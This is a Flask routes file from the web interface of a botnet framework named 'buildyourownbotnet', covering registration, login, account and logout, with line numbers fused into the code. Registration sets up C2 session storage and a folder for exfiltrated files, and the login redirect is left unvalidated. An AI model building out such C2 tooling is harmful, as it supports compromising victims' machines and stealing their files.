Path: blob/master/web-gui/buildyourownbotnet/users/routes.py
1292 views
import os1import json2import requests3from flask import (4Blueprint, flash, redirect, render_template,5request, url_for, send_from_directory6)7from flask_login import login_user, logout_user, current_user, login_required8from buildyourownbotnet import client, c29from buildyourownbotnet.core.dao import user_dao10from buildyourownbotnet.users.forms import RegistrationForm, LoginForm, UpdateAccountForm, ResetPasswordForm11from buildyourownbotnet.models import db, bcrypt, User, Session121314# Blueprint15users = Blueprint('users', __name__)1617# Globals18OUTPUT_DIR = os.path.abspath('buildyourownbotnet/output')192021# Routes22@users.route("/register", methods=["GET", "POST"])23def register():24"""Register user"""2526form = RegistrationForm()27if form.validate_on_submit():28# only allow 1 user on locally hosted version29if len(User.query.all()) == 0:30# add user to database31hashed_password = bcrypt.generate_password_hash(form.password.data).decode('utf-8')32user = User(username=form.username.data, password=hashed_password)33db.session.add(user)34db.session.commit()3536# create user directory37user_dir = os.path.join(OUTPUT_DIR, user.username)38if not os.path.exists(user_dir):39os.makedirs(user_dir)4041# create user src directory42src_dir = os.path.join(user_dir, 'src')43if not os.path.exists(src_dir):44os.makedirs(src_dir)4546# create user exfiltrated files directory47files_dir = os.path.join(user_dir, 'files')48if not os.path.exists(files_dir):49os.makedirs(files_dir)5051# initialize c2 session storage52c2.sessions[user.username] = {}5354# notify user and redirect to login55flash("You have successfully registered!", 'info')56logout_user()57return redirect(url_for('users.login'))58else:59flash("User already exists on this server.", 'danger')6061return render_template("register.html", form=form, title="Register")626364@users.route("/login", methods=['GET', 'POST'])65def login():66"""Log user in"""67if current_user.is_authenticated:68return redirect(url_for('main.sessions'))6970form = LoginForm()71if form.validate_on_submit():72user = user_dao.get_user(username=form.username.data)73if user and bcrypt.check_password_hash(user.password, form.password.data):74login_user(user)75next_page = request.args.get('next')76return redirect(next_page) if next_page else redirect(url_for('main.sessions'))77flash("Invalid username/password.", 'danger')78return render_template("login.html", form=form, title="Log In"), 403798081@users.route("/account", methods=['GET','POST'])82@login_required83def account():84"""Account configuration page."""85form = ResetPasswordForm()86if form.validate_on_submit():8788# update user's password in the database89user = User.query.filter_by(username=current_user.username).first()90hashed_password = bcrypt.generate_password_hash(form.password.data).decode('utf-8')91user.password = hashed_password92db.session.commit()93flash("Your password has been updated.", "success")94db.session.commit()95return render_template("account.html",96title="Account",97form=form)9899100@users.route('/logout')101@login_required102def logout():103"""Log out"""104logout_user()105return render_template("home.html")106107108